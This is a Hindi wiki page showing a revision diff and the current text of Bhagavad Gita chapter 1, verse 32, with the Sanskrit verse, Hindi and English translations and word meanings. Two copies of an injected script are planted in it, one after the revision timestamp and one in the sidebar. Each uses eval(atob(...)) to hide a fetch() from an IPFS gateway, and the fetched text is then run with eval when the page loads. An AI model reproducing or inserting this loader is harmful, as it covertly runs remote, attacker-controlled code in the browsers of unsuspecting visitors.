"गीता 1:32" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पृष्ठ: {{subst: गीता }})
 
पंक्ति ३: पंक्ति ३:
 
<tr>
 
<tr>
 
<td>
 
<td>
==गीता अध्याय-श्लोक-X / Gita Chapter-X Verse-X==  
+
==गीता अध्याय-1 श्लोक-32 / Gita Chapter-1 Verse-32==  
 
{| width="80%" align="center" style="text-align:justify; font-size:130%;padding:5px;background:none;"
 
{| width="80%" align="center" style="text-align:justify; font-size:130%;padding:5px;background:none;"
 
|-
 
|-
पंक्ति ९: पंक्ति ९:
 
'''प्रसंग-'''
 
'''प्रसंग-'''
 
----
 
----
हिन्दी टॅक्स्ट
+
अब अर्जुन स्वजन वध से मिलने वाले राज्य-भोगादिको न चाहने का कारण दिखलाते हैं-
 
----
 
----
 
<div align="center">
 
<div align="center">
'''श्लोक'''
+
'''न काड्.क्षे विजयं कृष्ण न च राज्यं सुखानि च ।'''<br />
 +
'''किं नो राज्येन गोविन्द किं भोगैर्जीवितेन वा ।।32।।'''
 
</div>
 
</div>
 
----
 
----
पंक्ति २१: पंक्ति २२:
 
|-
 
|-
 
| style="width:50%; font-size:120%;padding:10px;" valign="top"|
 
| style="width:50%; font-size:120%;padding:10px;" valign="top"|
'''शीर्षक'''
+
हे कृष्ण ! मैं न तो विजय चाहता हूँ और न राज्य तथा सुखों को ही । हे गोविन्द ! हमें ऐसे राज्य से क्या प्रयोजन है अथवा ऐसे भोगों से और जीवन से भी क्या लाभ है ? ।।32।।
----
 
हिन्दी टॅक्स्ट
 
  
 
| style="width:50%; font-size:120%;padding:10px;" valign="top"|
 
| style="width:50%; font-size:120%;padding:10px;" valign="top"|
'''Heading'''
+
Krsna, I do not covet victory, nor kingdom nor pleasures. Govindra, of what use will kingdom, or luxuries, or even life be to us !  (32)
----
 
English text.
 
 
|-
 
|-
 
|}
 
|}
पंक्ति ३५: पंक्ति ३२:
 
|-
 
|-
 
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" |
 
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" |
यहाँ संस्कृत शब्दों के अर्थ डालें
+
विजयम् =विजय को; राज्यम् = राज्य; सुखानि =सुखों को; गोविन्द =हे गोविन्द; न: = हमें; राज्येन: =राज्य से; किम् = क्या (प्रयोजन है) वा = अथवा; भोगै: = भोगों से(और); जीवितेन =जीवन से (भी); किम् = क्या (प्रयोजन है)
 
|-
 
|-
 
|}
 
|}
पंक्ति ४६: पंक्ति ४३:
 
{{गीता अध्याय 1}}
 
{{गीता अध्याय 1}}
 
{{गीता अध्याय}}
 
{{गीता अध्याय}}
 +
[[category:गीता]]

०७:५०, ८ अक्टूबर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता अध्याय-1 श्लोक-32 / Gita Chapter-1 Verse-32

प्रसंग-


अब अर्जुन स्वजन वध से मिलने वाले राज्य-भोगादिको न चाहने का कारण दिखलाते हैं-


न काड्.क्षे विजयं कृष्ण न च राज्यं सुखानि च ।
किं नो राज्येन गोविन्द किं भोगैर्जीवितेन वा ।।32।।



हे कृष्ण ! मैं न तो विजय चाहता हूँ और न राज्य तथा सुखों को ही । हे गोविन्द ! हमें ऐसे राज्य से क्या प्रयोजन है अथवा ऐसे भोगों से और जीवन से भी क्या लाभ है ? ।।32।।

Krsna, I do not covet victory, nor kingdom nor pleasures. Govindra, of what use will kingdom, or luxuries, or even life be to us ! (32)


विजयम् =विजय को; राज्यम् = राज्य; सुखानि =सुखों को; गोविन्द =हे गोविन्द; न: = हमें; राज्येन: =राज्य से; किम् = क्या (प्रयोजन है) वा = अथवा; भोगै: = भोगों से(और); जीवितेन =जीवन से (भी); किम् = क्या (प्रयोजन है)


<= पीछे Prev | आगे Next =>


अध्याय एक श्लोक संख्या
Verses- Chapter-1

1 | 2 | 3 | 4, 5, 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17, 18 | 19 | 20, 21 | 22 | 23 | 24, 25 | 26 | 27 | 28, 29 | 30 | 31 | 32 | 33, 34 | 35 | 36 | 37 | 38, 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar>